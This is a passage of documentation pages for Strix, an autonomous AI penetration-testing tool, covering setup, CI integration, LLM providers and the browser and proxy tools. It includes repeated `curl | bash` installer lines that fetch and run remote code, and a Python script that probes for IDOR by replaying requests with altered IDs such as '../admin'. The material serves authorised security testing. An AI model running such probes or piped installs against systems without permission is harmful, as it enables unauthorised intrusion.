    "content": "{\n  \"$schema\": \"https://mintlify.com/docs.json\",\n  \"theme\": \"maple\",\n  \"name\": \"Strix\",\n  \"colors\": {\n    \"primary\": \"#000000\",\n    \"light\": \"#ffffff\",\n    \"dark\": \"#000000\"\n  },\n  \"favicon\": \"/images/favicon-48.ico\",\n  \"navigation\": {\n    \"tabs\": [\n      {\n        \"tab\": \"Documentation\",\n        \"groups\": [\n          {\n            \"group\": \"Getting Started\",\n            \"pages\": [\n              \"index\",\n              \"quickstart\"\n            ]\n          },\n          {\n            \"group\": \"Usage\",\n            \"pages\": [\n              \"usage/cli\",\n              \"usage/scan-modes\",\n              \"usage/instructions\"\n            ]\n          },\n          {\n            \"group\": \"LLM Providers\",\n            \"pages\": [\n              \"llm-providers/overview\",\n              \"llm-providers/models\",\n              \"llm-providers/openai\",\n              \"llm-providers/anthropic\",\n              \"llm-providers/openrouter\",\n              \"llm-providers/vertex\",\n              \"llm-providers/bedrock\",\n              \"llm-providers/azure\",\n              \"llm-providers/local\"\n            ]\n          },\n          {\n            \"group\": \"Integrations\",\n            \"pages\": [\n              \"integrations/github-actions\",\n              \"integrations/ci-cd\"\n            ]\n          },\n          {\n            \"group\": \"Tools\",\n            \"pages\": [\n              \"tools/overview\",\n              \"tools/browser\",\n              \"tools/proxy\",\n              \"tools/terminal\",\n              \"tools/sandbox\"\n            ]\n          },\n          {\n            \"group\": \"Advanced\",\n            \"pages\": [\n              \"advanced/configuration\",\n              \"advanced/skills\",\n              \"contributing\"\n            ]\n          }\n        ]\n      },\n      {\n        \"tab\": \"Cloud\",\n        \"groups\": [\n          {\n            \"group\": \"Strix Cloud\",\n            \"pages\": [\n              \"cloud/overview\"\n            ]\n          }\n        ]\n      }\n    ],\n    \"global\": {\n      \"anchors\": [\n        {\n          \"anchor\": \"GitHub\",\n          \"href\": \"https://github.com/usestrix/strix\",\n          \"icon\": \"github\"\n        },\n        {\n          \"anchor\": \"Discord\",\n          \"href\": \"https://discord.gg/strix-ai\",\n          \"icon\": \"discord\"\n        }\n      ]\n    }\n  },\n  \"navbar\": {\n    \"links\": [],\n    \"primary\": {\n      \"type\": \"button\",\n      \"label\": \"Try Strix Cloud\",\n      \"href\": \"https://app.strix.ai\"\n    }\n  },\n  \"footer\": {\n    \"socials\": {\n      \"x\": \"https://x.com/strix_ai\",\n      \"github\": \"https://github.com/usestrix\",\n      \"discord\": \"https://discord.gg/strix-ai\"\n    }\n  },\n  \"fonts\": {\n    \"family\": \"Geist\",\n    \"heading\": {\n      \"family\": \"Geist\"\n    },\n    \"body\": {\n      \"family\": \"Geist\"\n    }\n  },\n  \"appearance\": {\n    \"default\": \"dark\"\n  },\n  \"description\": \"Open-source AI Hackers to secure your Apps\",\n  \"background\": {\n    \"decoration\": \"grid\"\n  }\n}\n"
  },
  {
    "path": "docs/index.mdx",
    "content": "---\ntitle: \"Introduction\"\ndescription: \"Open-source AI hackers to secure your apps\"\n---\n\nStrix are autonomous AI agents that act like real hackers—they run your code dynamically, find vulnerabilities, and validate them with proof-of-concepts. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools.\n\n<Frame>\n  <img src=\"/images/screenshot.png\" alt=\"Strix Demo\" />\n</Frame>\n\n<CardGroup cols={2}>\n  <Card title=\"Quick Start\" icon=\"rocket\" href=\"/quickstart\">\n    Install and run your first scan in minutes.\n  </Card>\n  <Card title=\"CLI Reference\" icon=\"terminal\" href=\"/usage/cli\">\n    Learn all command-line options.\n  </Card>\n  <Card title=\"Tools\" icon=\"wrench\" href=\"/tools/overview\">\n    Explore the security testing toolkit.\n  </Card>\n  <Card title=\"GitHub Actions\" icon=\"github\" href=\"/integrations/github-actions\">\n    Integrate into your CI/CD pipeline.\n  </Card>\n</CardGroup>\n\n## Use Cases\n\n- **Application Security Testing** — Detect and validate critical vulnerabilities in your applications\n- **Rapid Penetration Testing** — Get penetration tests done in hours, not weeks\n- **Bug Bounty Automation** — Automate research and generate PoCs for faster reporting\n- **CI/CD Integration** — Block vulnerabilities before they reach production\n\n## Key Capabilities\n\n- **Full hacker toolkit** — Browser automation, HTTP proxy, terminal, Python runtime\n- **Real validation** — PoCs, not false positives\n- **Multi-agent orchestration** — Specialized agents collaborate on complex targets\n- **Developer-first CLI** — Interactive TUI or headless mode for automation\n\n## Security Tools\n\nStrix agents come equipped with a comprehensive toolkit:\n\n| Tool | Purpose |\n|------|---------|\n| HTTP Proxy | Full request/response manipulation and analysis |\n| Browser Automation | Multi-tab browser for XSS, CSRF, auth flow testing |\n| Terminal | Interactive shells for command execution |\n| Python Runtime | Custom exploit development and validation |\n| Reconnaissance | Automated OSINT and attack surface mapping |\n| Code Analysis | Static and dynamic analysis capabilities |\n\n## Vulnerability Coverage\n\n| Category | Examples |\n|----------|----------|\n| Access Control | IDOR, privilege escalation, auth bypass |\n| Injection | SQL, NoSQL, command injection |\n| Server-Side | SSRF, XXE, deserialization |\n| Client-Side | XSS, prototype pollution, DOM vulnerabilities |\n| Business Logic | Race conditions, workflow manipulation |\n| Authentication | JWT vulnerabilities, session management |\n| Infrastructure | Misconfigurations, exposed services |\n\n## Multi-Agent Architecture\n\nStrix uses a graph of specialized agents for comprehensive security testing:\n\n- **Distributed Workflows** — Specialized agents for different attacks and assets\n- **Scalable Testing** — Parallel execution for fast comprehensive coverage\n- **Dynamic Coordination** — Agents collaborate and share discoveries\n\n## Quick Example\n\n```bash\n# Install\ncurl -sSL https://strix.ai/install | bash\n\n# Configure\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"your-api-key\"\n\n# Scan\nstrix --target ./your-app\n```\n\n## Community\n\n<CardGroup cols={2}>\n  <Card title=\"Discord\" icon=\"discord\" href=\"https://discord.gg/strix-ai\">\n    Join the community for help and discussion.\n  </Card>\n  <Card title=\"GitHub\" icon=\"github\" href=\"https://github.com/usestrix/strix\">\n    Star the repo and contribute.\n  </Card>\n</CardGroup>\n\n<Warning>\nOnly test applications you own or have explicit permission to test.\n</Warning>\n"
  },
  {
    "path": "docs/integrations/ci-cd.mdx",
    "content": "---\ntitle: \"CI/CD Integration\"\ndescription: \"Run Strix in any CI/CD pipeline\"\n---\n\nStrix runs in headless mode for automated pipelines.\n\n## Headless Mode\n\nUse the `-n` or `--non-interactive` flag:\n\n```bash\nstrix -n --target ./app --scan-mode quick\n```\n\n## Exit Codes\n\n| Code | Meaning |\n|------|---------|\n| 0 | No vulnerabilities found |\n| 1 | Execution error |\n| 2 | Vulnerabilities found |\n\n## GitLab CI\n\n```yaml .gitlab-ci.yml\nsecurity-scan:\n  image: docker:latest\n  services:\n    - docker:dind\n  variables:\n    STRIX_LLM: $STRIX_LLM\n    LLM_API_KEY: $LLM_API_KEY\n  script:\n    - curl -sSL https://strix.ai/install | bash\n    - strix -n -t ./ --scan-mode quick\n```\n\n## Jenkins\n\n```groovy Jenkinsfile\npipeline {\n    agent any\n    environment {\n        STRIX_LLM = credentials('strix-llm')\n        LLM_API_KEY = credentials('llm-api-key')\n    }\n    stages {\n        stage('Security Scan') {\n            steps {\n                sh 'curl -sSL https://strix.ai/install | bash'\n                sh 'strix -n -t ./ --scan-mode quick'\n            }\n        }\n    }\n}\n```\n\n## CircleCI\n\n```yaml .circleci/config.yml\nversion: 2.1\njobs:\n  security-scan:\n    docker:\n      - image: cimg/base:current\n    steps:\n      - checkout\n      - setup_remote_docker\n      - run:\n          name: Install Strix\n          command: curl -sSL https://strix.ai/install | bash\n      - run:\n          name: Run Scan\n          command: strix -n -t ./ --scan-mode quick\n```\n\n<Note>\nAll CI platforms require Docker access. Ensure your runner has Docker available.\n</Note>\n"
  },
  {
    "path": "docs/integrations/github-actions.mdx",
    "content": "---\ntitle: \"GitHub Actions\"\ndescription: \"Run Strix security scans on every pull request\"\n---\n\nIntegrate Strix into your GitHub workflow to catch vulnerabilities before they reach production.\n\n## Basic Workflow\n\n```yaml .github/workflows/security.yml\nname: Security Scan\n\non:\n  pull_request:\n\njobs:\n  strix-scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Install Strix\n        run: curl -sSL https://strix.ai/install | bash\n\n      - name: Run Security Scan\n        env:\n          STRIX_LLM: ${{ secrets.STRIX_LLM }}\n          LLM_API_KEY: ${{ secrets.LLM_API_KEY }}\n        run: strix -n -t ./ --scan-mode quick\n```\n\n## Required Secrets\n\nAdd these secrets to your repository:\n\n| Secret | Description |\n|--------|-------------|\n| `STRIX_LLM` | Model name (e.g., `openai/gpt-5`) |\n| `LLM_API_KEY` | API key for your LLM provider |\n\n## Exit Codes\n\nThe workflow fails when vulnerabilities are found:\n\n| Code | Result |\n|------|--------|\n| 0 | Pass — No vulnerabilities |\n| 2 | Fail — Vulnerabilities found |\n\n## Scan Modes for CI\n\n| Mode | Duration | Use Case |\n|------|----------|----------|\n| `quick` | Minutes | Every PR |\n| `standard` | ~30 min | Nightly builds |\n| `deep` | 1-4 hours | Release candidates |\n\n<Tip>\nUse `quick` mode for PRs to keep feedback fast. Schedule `deep` scans nightly.\n</Tip>\n"
  },
  {
    "path": "docs/llm-providers/anthropic.mdx",
    "content": "---\ntitle: \"Anthropic\"\ndescription: \"Configure Strix with Claude models\"\n---\n\n## Setup\n\n```bash\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"sk-ant-...\"\n```\n\n## Available Models\n\n| Model | Description |\n|-------|-------------|\n| `anthropic/claude-sonnet-4-6` | Best balance of intelligence and speed |\n| `anthropic/claude-opus-4-6` | Maximum capability for deep analysis |\n\n## Get API Key\n\n1. Go to [console.anthropic.com](https://console.anthropic.com)\n2. Navigate to API Keys\n3. Create a new key\n"
  },
  {
    "path": "docs/llm-providers/azure.mdx",
    "content": "---\ntitle: \"Azure OpenAI\"\ndescription: \"Configure Strix with OpenAI models via Azure\"\n---\n\n## Setup\n\n```bash\nexport STRIX_LLM=\"azure/your-gpt5-deployment\"\nexport AZURE_API_KEY=\"your-azure-api-key\"\nexport AZURE_API_BASE=\"https://your-resource.openai.azure.com\"\nexport AZURE_API_VERSION=\"2025-11-01-preview\"\n```\n\n## Configuration\n\n| Variable | Description |\n|----------|-------------|\n| `STRIX_LLM` | `azure/<your-deployment-name>` |\n| `AZURE_API_KEY` | Your Azure OpenAI API key |\n| `AZURE_API_BASE` | Your Azure OpenAI endpoint URL |\n| `AZURE_API_VERSION` | API version (e.g., `2025-11-01-preview`) |\n\n## Example\n\n```bash\nexport STRIX_LLM=\"azure/gpt-5-deployment\"\nexport AZURE_API_KEY=\"abc123...\"\nexport AZURE_API_BASE=\"https://mycompany.openai.azure.com\"\nexport AZURE_API_VERSION=\"2025-11-01-preview\"\n```\n\n## Prerequisites\n\n1. Create an Azure OpenAI resource\n2. Deploy a model (e.g., GPT-5)\n3. Get the endpoint URL and API key from the Azure portal\n"
  },
  {
    "path": "docs/llm-providers/bedrock.mdx",
    "content": "---\ntitle: \"AWS Bedrock\"\ndescription: \"Configure Strix with models via AWS Bedrock\"\n---\n\n## Setup\n\n```bash\nexport STRIX_LLM=\"bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0\"\n```\n\nNo API key required—uses AWS credentials from environment.\n\n## Authentication\n\n### Option 1: AWS CLI Profile\n\n```bash\nexport AWS_PROFILE=\"your-profile\"\nexport AWS_REGION=\"us-east-1\"\n```\n\n### Option 2: Access Keys\n\n```bash\nexport AWS_ACCESS_KEY_ID=\"AKIA...\"\nexport AWS_SECRET_ACCESS_KEY=\"...\"\nexport AWS_REGION=\"us-east-1\"\n```\n\n### Option 3: IAM Role (EC2/ECS)\n\nAutomatically uses instance role credentials.\n\n## Available Models\n\n| Model | Description |\n|-------|-------------|\n| `bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0` | Claude 4.5 Sonnet |\n| `bedrock/anthropic.claude-4-5-opus-20251022-v1:0` | Claude 4.5 Opus |\n| `bedrock/anthropic.claude-4-5-haiku-20251022-v1:0` | Claude 4.5 Haiku |\n| `bedrock/amazon.titan-text-premier-v2:0` | Amazon Titan Premier v2 |\n\n## Prerequisites\n\n1. Enable model access in the AWS Bedrock console\n2. Ensure your IAM role/user has `bedrock:InvokeModel` permission\n"
  },
  {
    "path": "docs/llm-providers/local.mdx",
    "content": "---\ntitle: \"Local Models\"\ndescription: \"Run Strix with self-hosted LLMs for privacy and air-gapped testing\"\n---\n\nRunning Strix with local models allows for completely offline, privacy-first security assessments. Data never leaves your machine, making this ideal for sensitive internal networks or air-gapped environments.\n\n## Privacy vs Performance\n\n| Feature | Local Models | Cloud Models (GPT-5/Claude 4.5) |\n|---------|--------------|--------------------------------|\n| **Privacy** | 🔒 Data stays local | Data sent to provider |\n| **Cost** | Free (hardware only) | Pay-per-token |\n| **Reasoning** | Lower (struggles with agents) | State-of-the-art |\n| **Setup** | Complex (GPU required) | Instant |\n\n<Warning>\n**Compatibility Note**: Strix relies on advanced agentic capabilities (tool use, multi-step planning, self-correction). Most local models, especially those under 70B parameters, struggle with these complex tasks.\n\nFor critical assessments, we strongly recommend using state-of-the-art cloud models like **Claude 4.5 Sonnet** or **GPT-5**. Use local models only when privacy is the absolute priority.\n</Warning>\n\n## Ollama\n\n[Ollama](https://ollama.ai) is the easiest way to run local models on macOS, Linux, and Windows.\n\n### Setup\n\n1. Install Ollama from [ollama.ai](https://ollama.ai)\n2. Pull a high-performance model:\n   ```bash\n   ollama pull qwen3-vl\n   ```\n3. Configure Strix:\n   ```bash\n   export STRIX_LLM=\"ollama/qwen3-vl\"\n   export LLM_API_BASE=\"http://localhost:11434\"\n   ```\n\n### Recommended Models\n\nWe recommend these models for the best balance of reasoning and tool use:\n\n**Recommended models:**\n- **Qwen3 VL** (`ollama pull qwen3-vl`)\n- **DeepSeek V3.1** (`ollama pull deepseek-v3.1`)\n- **Devstral 2** (`ollama pull devstral-2`)\n\n## LM Studio / OpenAI Compatible\n\nIf you use LM Studio, vLLM, or other runners:\n\n```bash\nexport STRIX_LLM=\"openai/local-model\"\nexport LLM_API_BASE=\"http://localhost:1234/v1\"  # Adjust port as needed\n```\n"
  },
  {
    "path": "docs/llm-providers/models.mdx",
    "content": "---\ntitle: \"Strix Router\"\ndescription: \"Access top LLMs through a single API with high rate limits and zero data retention\"\n---\n\nStrix Router gives you access to the best LLMs through a single API key.\n\n<Note>\nStrix Router is currently in **beta**. It's completely optional — Strix works with any [LiteLLM-compatible provider](/llm-providers/overview) using your own API keys, or with [local models](/llm-providers/local). Strix Router is just the setup we test and optimize for.\n</Note>\n\n## Why Use Strix Router?\n\n- **High rate limits** — No throttling during long-running scans\n- **Zero data retention** — Routes to providers with zero data retention policies enabled\n- **Failover & load balancing** — Automatic fallback across providers for reliability\n- **Simple setup** — One API key, one environment variable, no provider accounts needed\n- **No markup** — Same token pricing as the underlying providers, no extra fees\n\n## Quick Start\n\n1. Get your API key at [models.strix.ai](https://models.strix.ai)\n2. Set your environment:\n\n```bash\nexport LLM_API_KEY='your-strix-api-key'\nexport STRIX_LLM='strix/gpt-5'\n```\n\n3. Run a scan:\n\n```bash\nstrix --target ./your-app\n```\n\n## Available Models\n\n### Anthropic\n\n| Model | ID |\n|-------|-----|\n| Claude Sonnet 4.6 | `strix/claude-sonnet-4.6` |\n| Claude Opus 4.6 | `strix/claude-opus-4.6` |\n\n### OpenAI\n\n| Model | ID |\n|-------|-----|\n| GPT-5.2 | `strix/gpt-5.2` |\n| GPT-5.1 | `strix/gpt-5.1` |\n| GPT-5 | `strix/gpt-5` |\n\n### Google\n\n| Model | ID |\n|-------|-----|\n| Gemini 3 Pro | `strix/gemini-3-pro-preview` |\n| Gemini 3 Flash | `strix/gemini-3-flash-preview` |\n\n### Other\n\n| Model | ID |\n|-------|-----|\n| GLM-5 | `strix/glm-5` |\n| GLM-4.7 | `strix/glm-4.7` |\n\n## Configuration Reference\n\n<ParamField path=\"LLM_API_KEY\" type=\"string\" required>\n  Your Strix API key from [models.strix.ai](https://models.strix.ai).\n</ParamField>\n\n<ParamField path=\"STRIX_LLM\" type=\"string\" required>\n  Model ID from the tables above. Must be prefixed with `strix/`.\n</ParamField>\n"
  },
  {
    "path": "docs/llm-providers/openai.mdx",
    "content": "---\ntitle: \"OpenAI\"\ndescription: \"Configure Strix with OpenAI models\"\n---\n\n## Setup\n\n```bash\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"sk-...\"\n```\n\n## Available Models\n\nSee [OpenAI Models Documentation](https://platform.openai.com/docs/models) for the full list of available models.\n\n## Get API Key\n\n1. Go to [platform.openai.com](https://platform.openai.com)\n2. Navigate to API Keys\n3. Create a new secret key\n\n## Custom Base URL\n\nFor OpenAI-compatible APIs:\n\n```bash\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"your-key\"\nexport LLM_API_BASE=\"https://your-proxy.com/v1\"\n```\n"
  },
  {
    "path": "docs/llm-providers/openrouter.mdx",
    "content": "---\ntitle: \"OpenRouter\"\ndescription: \"Configure Strix with models via OpenRouter\"\n---\n\n[OpenRouter](https://openrouter.ai) provides access to 100+ models from multiple providers through a single API.\n\n## Setup\n\n```bash\nexport STRIX_LLM=\"openrouter/openai/gpt-5\"\nexport LLM_API_KEY=\"sk-or-...\"\n```\n\n## Available Models\n\nAccess any model on OpenRouter using the format `openrouter/<provider>/<model>`:\n\n| Model | Configuration |\n|-------|---------------|\n| GPT-5 | `openrouter/openai/gpt-5` |\n| Claude Sonnet 4.6 | `openrouter/anthropic/claude-sonnet-4.6` |\n| Gemini 3 Pro | `openrouter/google/gemini-3-pro-preview` |\n| GLM-4.7 | `openrouter/z-ai/glm-4.7` |\n\n## Get API Key\n\n1. Go to [openrouter.ai](https://openrouter.ai)\n2. Sign in and navigate to Keys\n3. Create a new API key\n\n## Benefits\n\n- **Single API** — Access models from OpenAI, Anthropic, Google, Meta, and more\n- **Fallback routing** — Automatic failover between providers\n- **Cost tracking** — Monitor usage across all models\n- **Higher rate limits** — OpenRouter handles provider limits for you\n"
  },
  {
    "path": "docs/llm-providers/overview.mdx",
    "content": "---\ntitle: \"Overview\"\ndescription: \"Configure your AI model for Strix\"\n---\n\nStrix uses [LiteLLM](https://docs.litellm.ai/docs/providers) for model compatibility, supporting 100+ LLM providers.\n\n## Strix Router (Recommended)\n\nThe fastest way to get started. [Strix Router](/llm-providers/models) gives you access to tested models with the highest rate limits and zero data retention.\n\n```bash\nexport STRIX_LLM=\"strix/gpt-5\"\nexport LLM_API_KEY=\"your-strix-api-key\"\n```\n\nGet your API key at [models.strix.ai](https://models.strix.ai).\n\n## Bring Your Own Key\n\nYou can also use any LiteLLM-compatible provider with your own API keys:\n\n| Model             | Provider      | Configuration                    |\n| ----------------- | ------------- | -------------------------------- |\n| GPT-5             | OpenAI        | `openai/gpt-5`                   |\n| Claude Sonnet 4.6 | Anthropic     | `anthropic/claude-sonnet-4-6`    |\n| Gemini 3 Pro      | Google Vertex | `vertex_ai/gemini-3-pro-preview` |\n\n```bash\nexport STRIX_LLM=\"openai/gpt-5\"\nexport LLM_API_KEY=\"your-api-key\"\n```\n\n## Local Models\n\nRun models locally with [Ollama](https://ollama.com), [LM Studio](https://lmstudio.ai), or any OpenAI-compatible server:\n\n```bash\nexport STRIX_LLM=\"ollama/llama4\"\nexport LLM_API_BASE=\"http://localhost:11434\"\n```\n\nSee the [Local Models guide](/llm-providers/local) for setup instructions and recommended models.\n\n## Provider Guides\n\n<CardGroup cols={2}>\n  <Card title=\"Strix Router\" href=\"/llm-providers/models\">\n    Recommended models router with high rate limits.\n  </Card>\n  <Card title=\"OpenAI\" href=\"/llm-providers/openai\">\n    GPT-5 models.\n  </Card>\n  <Card title=\"Anthropic\" href=\"/llm-providers/anthropic\">\n    Claude Opus, Sonnet, and Haiku.\n  </Card>\n  <Card title=\"OpenRouter\" href=\"/llm-providers/openrouter\">\n    Access 100+ models through a single API.\n  </Card>\n  <Card title=\"Google Vertex AI\" href=\"/llm-providers/vertex\">\n    Gemini 3 models via Google Cloud.\n  </Card>\n  <Card title=\"AWS Bedrock\" href=\"/llm-providers/bedrock\">\n    Claude and Titan models via AWS.\n  </Card>\n  <Card title=\"Azure OpenAI\" href=\"/llm-providers/azure\">\n    GPT-5 via Azure.\n  </Card>\n  <Card title=\"Local Models\" href=\"/llm-providers/local\">\n    Llama 4, Mistral, and self-hosted models.\n  </Card>\n</CardGroup>\n\n## Model Format\n\nUse LiteLLM's `provider/model-name` format:\n\n```\nopenai/gpt-5\nanthropic/claude-sonnet-4-6\nvertex_ai/gemini-3-pro-preview\nbedrock/anthropic.claude-4-5-sonnet-20251022-v1:0\nollama/llama4\n```\n"
  },
  {
    "path": "docs/llm-providers/vertex.mdx",
    "content": "---\ntitle: \"Google Vertex AI\"\ndescription: \"Configure Strix with Gemini models via Google Cloud\"\n---\n\n## Installation\n\nVertex AI requires the Google Cloud dependency. Install Strix with the vertex extra:\n\n```bash\npipx install \"strix-agent[vertex]\"\n```\n\n## Setup\n\n```bash\nexport STRIX_LLM=\"vertex_ai/gemini-3-pro-preview\"\n```\n\nNo API key required—uses Google Cloud Application Default Credentials.\n\n## Authentication\n\n### Option 1: gcloud CLI\n\n```bash\ngcloud auth application-default login\n```\n\n### Option 2: Service Account\n\n```bash\nexport GOOGLE_APPLICATION_CREDENTIALS=\"/path/to/service-account.json\"\n```\n\n## Available Models\n\n| Model | Description |\n|-------|-------------|\n| `vertex_ai/gemini-3-pro-preview` | Best overall performance for security testing |\n| `vertex_ai/gemini-3-flash-preview` | Faster and cheaper |\n\n## Project Configuration\n\n```bash\nexport VERTEXAI_PROJECT=\"your-project-id\"\nexport VERTEXAI_LOCATION=\"global\"\n```\n\n## Prerequisites\n\n1. Enable the Vertex AI API in your Google Cloud project\n2. Ensure your account has the `Vertex AI User` role\n"
  },
  {
    "path": "docs/quickstart.mdx",
    "content": "---\ntitle: \"Quick Start\"\ndescription: \"Install Strix and run your first security scan\"\n---\n\n## Prerequisites\n\n- Docker (running)\n- An LLM API key — use [Strix Router](/llm-providers/models) for the easiest setup, or bring your own key from any [supported provider](/llm-providers/overview)\n\n## Installation\n\n<Tabs>\n  <Tab title=\"curl\">\n    ```bash\n    curl -sSL https://strix.ai/install | bash\n    ```\n  </Tab>\n  <Tab title=\"pipx\">\n    ```bash\n    pipx install strix-agent\n    ```\n  </Tab>\n</Tabs>\n\n## Configuration\n\nSet your LLM provider:\n\n<Tabs>\n  <Tab title=\"Strix Router\">\n    ```bash\n    export STRIX_LLM=\"strix/gpt-5\"\n    export LLM_API_KEY=\"your-strix-api-key\"\n    ```\n  </Tab>\n  <Tab title=\"Bring Your Own Key\">\n    ```bash\n    export STRIX_LLM=\"openai/gpt-5\"\n    export LLM_API_KEY=\"your-api-key\"\n    ```\n  </Tab>\n</Tabs>\n\n<Tip>\nFor best results, use `strix/gpt-5`, `strix/claude-opus-4.6`, or `strix/gpt-5.2`.\n</Tip>\n\n## Run Your First Scan\n\n```bash\nstrix --target ./your-app\n```\n\n<Note>\nFirst run pulls the Docker sandbox image automatically. Results are saved to `strix_runs/<run-name>`.\n</Note>\n\n## Target Types\n\nStrix accepts multiple target types:\n\n```bash\n# Local codebase\nstrix --target ./app-directory\n\n# GitHub repository\nstrix --target https://github.com/org/repo\n\n# Live web application\nstrix --target https://your-app.com\n\n# Multiple targets (white-box testing)\nstrix -t https://github.com/org/repo -t https://your-app.com\n```\n\n## Next Steps\n\n<CardGroup cols={2}>\n  <Card title=\"CLI Options\" icon=\"terminal\" href=\"/usage/cli\">\n    Explore all command-line options.\n  </Card>\n  <Card title=\"Scan Modes\" icon=\"gauge\" href=\"/usage/scan-modes\">\n    Choose the right scan depth.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/tools/browser.mdx",
    "content": "---\ntitle: \"Browser\"\ndescription: \"Playwright-powered Chrome for web application testing\"\n---\n\nStrix uses a headless Chrome browser via Playwright to interact with web applications exactly like a real user would.\n\n## How It Works\n\nAll browser traffic is automatically routed through the Caido proxy, giving Strix full visibility into every request and response. This enables:\n\n- Testing client-side vulnerabilities (XSS, DOM manipulation)\n- Navigating authenticated flows (login, OAuth, MFA)\n- Triggering JavaScript-heavy functionality\n- Capturing dynamically generated requests\n\n## Capabilities\n\n| Action     | Description                                 |\n| ---------- | ------------------------------------------- |\n| Navigate   | Go to URLs, follow links, handle redirects  |\n| Click      | Interact with buttons, links, form elements |\n| Type       | Fill in forms, search boxes, input fields   |\n| Execute JS | Run custom JavaScript in the page context   |\n| Screenshot | Capture visual state for reports            |\n| Multi-tab  | Test across multiple browser tabs           |\n\n## Example Flow\n\n1. Agent launches browser and navigates to login page\n2. Fills in credentials and submits form\n3. Proxy captures the authentication request\n4. Agent navigates to protected areas\n5. Tests for IDOR by replaying requests with modified IDs\n"
  },
  {
    "path": "docs/tools/overview.mdx",
    "content": "---\ntitle: \"Agent Tools\"\ndescription: \"How Strix agents interact with targets\"\n---\n\nStrix agents use specialized tools to test your applications like a real penetration tester would.\n\n## Core Tools\n\n<CardGroup cols={2}>\n  <Card title=\"Browser\" icon=\"globe\" href=\"/tools/browser\">\n    Playwright-powered Chrome for interacting with web UIs.\n  </Card>\n  <Card title=\"HTTP Proxy\" icon=\"network-wired\" href=\"/tools/proxy\">\n    Caido-powered proxy for intercepting and replaying requests.\n  </Card>\n  <Card title=\"Terminal\" icon=\"terminal\" href=\"/tools/terminal\">\n    Bash shell for running commands and security tools.\n  </Card>\n  <Card title=\"Sandbox Tools\" icon=\"toolbox\" href=\"/tools/sandbox\">\n    Pre-installed security tools: Nuclei, ffuf, and more.\n  </Card>\n</CardGroup>\n\n## Additional Tools\n\n| Tool           | Purpose                                  |\n| -------------- | ---------------------------------------- |\n| Python Runtime | Write and execute custom exploit scripts |\n| File Editor    | Read and modify source code              |\n| Web Search     | Real-time OSINT via Perplexity           |\n| Notes          | Document findings during the scan        |\n| Reporting      | Generate vulnerability reports with PoCs |\n"
  },
  {
    "path": "docs/tools/proxy.mdx",
    "content": "---\ntitle: \"HTTP Proxy\"\ndescription: \"Caido-powered proxy for request interception and replay\"\n---\n\nStrix includes [Caido](https://caido.io), a modern HTTP proxy built for security testing. All browser traffic flows through Caido, giving the agent full control over requests and responses.\n\n## Capabilities\n\n| Feature          | Description                                  |\n| ---------------- | -------------------------------------------- |\n| Request Capture  | Log all HTTP/HTTPS traffic automatically     |\n| Request Replay   | Repeat any request with modifications        |\n| HTTPQL           | Query captured traffic with powerful filters |\n| Scope Management | Focus on specific domains or paths           |\n| Sitemap          | Visualize the discovered attack surface      |\n\n## HTTPQL Filtering\n\nQuery captured requests using Caido's HTTPQL syntax\n\n## Request Replay\n\nThe agent can take any captured request and replay it with modifications:\n\n- Change path parameters (test for IDOR)\n- Modify request body (test for injection)\n- Add/remove headers (test for auth bypass)\n- Alter cookies (test for session issues)\n\n## Python Integration\n\nAll proxy functions are automatically available in Python sessions. This enables powerful scripted security testing:\n\n```python\n# List recent POST requests\npost_requests = list_requests(\n    httpql_filter='req.method.eq:\"POST\"',\n    page_size=20\n)\n\n# View a specific request\nrequest_details = view_request(\"req_123\", part=\"request\")\n\n# Replay with modified payload\nresponse = repeat_request(\"req_123\", {\n    \"body\": '{\"user_id\": \"admin\"}'\n})\nprint(f\"Status: {response['status_code']}\")\n```\n\n### Available Functions\n\n| Function               | Description                                |\n| ---------------------- | ------------------------------------------ |\n| `list_requests()`      | Query captured traffic with HTTPQL filters |\n| `view_request()`       | Get full request/response details          |\n| `repeat_request()`     | Replay a request with modifications        |\n| `send_request()`       | Send a new HTTP request                    |\n| `scope_rules()`        | Manage proxy scope (allowlist/denylist)    |\n| `list_sitemap()`       | View discovered endpoints                  |\n| `view_sitemap_entry()` | Get details for a sitemap entry            |\n\n### Example: Automated IDOR Testing\n\n```python\n# Get all requests to user endpoints\nuser_requests = list_requests(\n    httpql_filter='req.path.cont:\"/users/\"'\n)\n\nfor req in user_requests.get('requests', []):\n    # Try accessing with different user IDs\n    for test_id in ['1', '2', 'admin', '../admin']:\n        response = repeat_request(req['id'], {\n            'url': req['path'].replace('/users/1', f'/users/{test_id}')\n        })\n\n        if response['status_code'] == 200:\n            print(f\"Potential IDOR: {test_id} returned 200\")\n```\n\n## Human-in-the-Loop\n\nStrix exposes the Caido proxy to your host machine, so you can interact with it alongside the automated scan. When the sandbox starts, the Caido URL is displayed in the TUI sidebar — click it to copy, then open it in Caido Desktop.\n\n### Accessing Caido\n\n1. Start a scan as usual\n2. Look for the **Caido** URL in the sidebar stats panel (e.g. `localhost:52341`)\n3. Open the URL in Caido Desktop\n4. Click **Continue as guest** to access the instance\n\n### What You Can Do\n\n- **Inspect traffic** — Browse all HTTP/HTTPS requests the agent is making in real time\n- **Replay requests** — Take any captured request and resend it with your own modifications\n- **Intercept and modify** — Pause requests mid-flight, edit them, then forward\n- **Explore the sitemap** — See the full attack surface the agent has discovered\n- **Manual testing** — Use Caido's tools to test findings the agent reports, or explore areas it hasn't reached\n\nThis turns Strix from a fully automated scanner into a collaborative tool — the agent handles the heavy lifting while you focus on the interesting parts.\n\n## Scope\n\nCreate scopes to filter traffic to relevant domains:\n\n```\nAllowlist: [\"api.example.com\", \"*.example.com\"]\nDenylist: [\"*.gif\", \"*.jpg\", \"*.png\", \"*.css\", \"*.js\"]\n```\n"
  },
  {
    "path": "docs/tools/sandbox.mdx",
